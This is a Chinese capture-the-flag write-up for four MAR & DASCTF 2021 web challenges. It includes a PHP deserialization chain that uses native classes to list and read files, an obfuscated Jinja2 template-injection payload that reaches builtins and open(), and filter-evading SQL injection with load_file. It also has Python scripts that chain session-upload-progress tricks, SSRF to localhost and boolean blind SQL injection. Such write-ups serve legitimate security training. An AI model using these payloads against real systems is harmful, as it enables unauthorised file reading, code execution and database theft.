MAR & DASCTF 2021

ez_serialize

考察反序列化原生类

类	描述
DirectoryIterator	遍历目录
FilesystemIterator	遍历目录
GlobIterator		遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag*
SplFileObject		读取文件,按行读取,多行需要遍历
finfo/finfo_open()	需要两个参数

感觉比较好用的就FilesystemIteratorGlobIterator 其他感觉没啥用。。。。
题目

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}  hello ctfer
<?php

class A{
	public $class='FilesystemIterator';
    public $para='var/www/html';
}
echo serialize(new A());

绝对路径也阔以用 ./.代替(表示当前目录)

得到回显aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE

然后public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE';

得到回显flag.php

最后用SplFileObject读就好

<?php

class A{
	public $class='SplFileObject';
    public $para='/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';
}
echo serialize(new A());

不过就是FilesystemIterator好像回显就只能返回第一位文件
如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag。
借用yu师傅的图
在这里插入图片描述

baby_flask

其实这个昨天就搞好了,就是太晚了,然后今天再来写,复现这个题的时候挺高兴的,以为又有了投入的那种感觉,这是啥感觉呢,就是你知道你明天有课,然后应该睡觉了,然后你却忘记了时间还在那一直搞,然后搞的时候没有任何不舒服的地方,然后刚一搞完,你就察觉到你的头在痛。。。超级爽,那种感觉。。

转会正题
直接先放一下payload吧

{%set id=dict(in=a,dex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set oo=dict(o=a,s=a)|join%}
{%set ld=(xiahua,xiahua,dict(loader=a)|join,xiahua,xiahua)|join%}
{%set gg=(xiahua,xiahua,dict(g=a,et=a)|join,xiahua,xiahua)|join%}
{%set cc=dict(c=a,hr=a)|join%}
{%set pn=dict(po=a,pen=a)|join%}
{%set e=dict(e=a)|join%}
{%set g=dict(g=a)|join%}
{%set r=dict(r=a)|join%}
{%set one=(lipsum|select|string|list)|attr(id)(g)%}
{%set two=(lipsum|select|string|list)|attr(id)(e)%}
{%set five=(lipsum|select|string|list)|attr(id)(r)%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(five*five-one)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(buil=a,tins=a)|join,xiahua,xiahua)|join%}
{%set cr=lipsum|attr(gb)|attr(gg)(bl)|attr(gg)(cc)%}
{%set xiegang=cr(five*five*two-two-one)%}
{%set space=cr(five*two*two*two-five-two-one)%}
{%set shell=dict(ls=a)|join%}
{%print lipsum|attr(gb)|attr(gg)(ld)%}

然后吧这个题改简单了点,就是直接ls就爆flag了。。
然后思路的话,是先看一下lipsum|select|string|list有啥,就是最后shell的时候要用一些特殊字符。
然后一般里面有下划线_ 然后没有空格和斜杠,反斜杠啥的。一般有下划线就够了,就阔以构建__globals__啥的了,然后其他的后面阔以用chr函数。

然后构建下划线要数字,数字,count,length被过滤了,就只有用index来构建了,然后找chr函数,然后有chr函数就啥都有了,就改后的这个题而言不需要chr函数,因为直接ls就阔以出。一般还是要chr函数的。

{%set id=dict(in=a,dex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set oo=dict(o=a,s=a)|join%}
{%set op=dict(o=a,pen=a)|join%}
{%set ld=(xiahua,xiahua,dict(loader=a)|join,xiahua,xiahua)|join%}
{%set gg=(xiahua,xiahua,dict(g=a,et=a)|join,xiahua,xiahua)|join%}
{%set cc=dict(c=a,hr=a)|join%}
{%set pn=dict(po=a,pen=a)|join%}
{%set e=dict(e=a)|join%}
{%set g=dict(g=a)|join%}
{%set r=dict(r=a)|join%}
{%set one=(lipsum|select|string|list)|attr(id)(g)%}
{%set two=(lipsum|select|string|list)|attr(id)(e)%}
{%set five=(lipsum|select|string|list)|attr(id)(r)%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(five*five-one)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(buil=a,tins=a)|join,xiahua,xiahua)|join%}
{%set cr=lipsum|attr(gb)|attr(gg)(bl)|attr(gg)(cc)%}
{%set xiegang=cr(five*five*two-two-one)%}
{%set space=cr(five*two*two*two-five-two-one)%}
{%set shell=(xiegang,dict(proc=a)|join,xiegang,dict(self=a)|join,dict(cmdline=a)|join)|join%}
{%print lipsum|attr(gb)|attr(gg)(bl)|attr(gg)(op)%}

原题思路是,用open方法看下/proc/self/cmdline当前进程的完整命令
在这里插入图片描述
然后是在ls flask那个目录才出的flag。

然后就是构建数字那阔以用特殊的数字来绕过https://www.compart.com/en/unicode/bidiclass/EN
在这里插入图片描述
然后再细的话,阔以看看feng师傅的,写的很好传送门

SQL注入

考点:联合查询+load_file文件读取上来就给了SQL语句PHP$sql = "SELECT * FROM users WHERE id = '$query' OR username = \\"$query\\"";使query=2有回显,但是对于单引号进行了过滤,但是它给了username,通过username发现双引号是没有被过滤的,接着测试发现还过滤空格,payloadPlain Text查表

查表lisi"/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 
查列
lisi"/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name="f1agdas"/**/and/**/table_schema=database()# 
查数据
lisi"/**/union/**/select/**/group_concat(f1agdas),2,3/**/from/**/f1agdas# 
回显了一个flag.txt,应该是要去读数据了这里使用load_file()函数lisi"/**/union/**/select/**/(select/**/load_file(0x2f666c6167)),2,3#

这里读的文件是/flag,我也不知道为啥数据库要写flag.txt,这里对"/"也进行了过滤,可以用十六进制或者CHAR()绕过

ez_login

1.利用PHP_SESSION_UPLOAD_PROGRESS来初始化session
2.ssrf传sql注入,要url编码,而且bp不行,用python

<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }
    include("./php/check_ip.php");
    error_reporting(0);
    $url = $_GET['url'];
    if(check_inner_ip($url)){
        if($url){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
            $output = curl_exec($ch);
            $result_info = curl_getinfo($ch);
            curl_close($ch);
            }
    }else{
        echo "Your IP is internal yoyoyo";
    }
?>

目录扫描扫到一个admin.php
访问下发现只能从本地访问,加了个XFF也不行,看源码估计应该是利用SSRF从内部访问过去

分析代码,要利用SSRF得先绕过这个

<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }

需要初始化session,这里需要利用PHP_SESSION_UPLOAD_PROGRESS来初始化session

session.upload_progress是php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情
况下,PHP将进行流式上传,并将进度信息放在session中(包含用户可控的值),即使此时用户没有初始化
session,PHP也会自动初始化session。 而且,默认情况下session.upload_progress.enabled是为开启的
# -*- coding: utf-8 -*-
import requests

url = 'http://183.129.189.60:10015/?url=http://localhost/admin.php'
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}

r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode('utf8'))

print(r.text)

然后bp抓包
初始化session后,利用SSRF根据之前的提示访问内网的admin.php
在这里插入图片描述
admin.php的注释里面有一个/yuanma_f0r_eAZy_logon.zip,访问下载得到se1f_Log3n.php

<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
    exit();
}else{
    try{
    $sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
    $result = $con->query($sql);
    echo $sql;
    }catch(Exception $e){
        echo $e->getMessage();
    }
    ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') )); 
}

布尔盲注,url编码一下payload,#(%23)两次编码
然后吧,不知道为什么我bp全url编码去打不行,用python

from urllib.parse import quote

payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or 1=1%23&password=mochu7'
print(quote(payload))
from urllib.parse import quote
import requests
import time
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}
ip = 'http://183.129.189.60:10015/?url='

flag=''
for i in range(1,300):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="http://localhost//se1f_Log3n.php?username=0'or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='secret'),{},1))>{}%23&password=1".format(i,mid)
        url=ip+quote(payload)
        r=requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
        if "correct?" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        print(low,mid,high)
    flag+=chr(mid)
    print(flag)

得到flag字段
最后

from urllib.parse import quote
import requests
import time
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}
ip = 'http://183.129.189.60:10015/?url='

flag=''
for i in range(1,300):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="http://localhost//se1f_Log3n.php?username=0'or ascii(substr((select group_concat(flag) from secret),{},1))>{}%23&password=1".format(i,mid)
        url=ip+quote(payload)
        r=requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
        if "correct?" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        print(low,mid,high)
    flag+=chr(mid)
    print(flag)

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值